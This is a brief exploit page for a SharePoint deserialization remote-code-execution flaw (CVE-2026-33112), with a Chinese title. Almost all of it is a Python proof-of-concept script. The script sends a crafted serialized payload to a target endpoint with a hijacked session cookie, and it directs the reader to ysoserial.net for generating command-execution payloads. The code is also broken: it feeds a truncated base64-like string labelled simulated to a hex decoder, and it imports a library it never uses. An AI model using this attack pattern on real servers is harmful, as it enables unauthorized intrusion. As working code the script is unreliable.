CVE-2026-33112 Microsoft Office SharePoint反序列化漏洞

# This is a conceptual PoC for SharePoint Deserialization RCE # Requires a valid authenticated session and low privileges import requests import pickle # Target URL target_url = "https://sharepoint-target.com/vulnerable_endpoint" # Malicious payload (Example: .NET LosFormatter payload generation would happen here) # In a real scenario, use ysoserial.net to generate a payload. # payload = generate_los_formatter_payload("cmd.exe /c calc.exe") # For demonstration, we simulate the hex payload malicious_payload = bytes.fromhex("AAEAAAD/////AQAAAAAAAAAMAgAAAE5TeXN0ZW0uRGVsZWdhdGVTZXJpYWxpem... (simulated)") # Headers with authentication cookie headers = { "Cookie": "ASP.NET_SessionId=attacker_session_id", "Content-Type": "application/octet-stream" } try: print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, data=malicious_payload, headers=headers, verify=False) if response.status_code == 200: print("[+] Payload sent successfully. Check for command execution.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")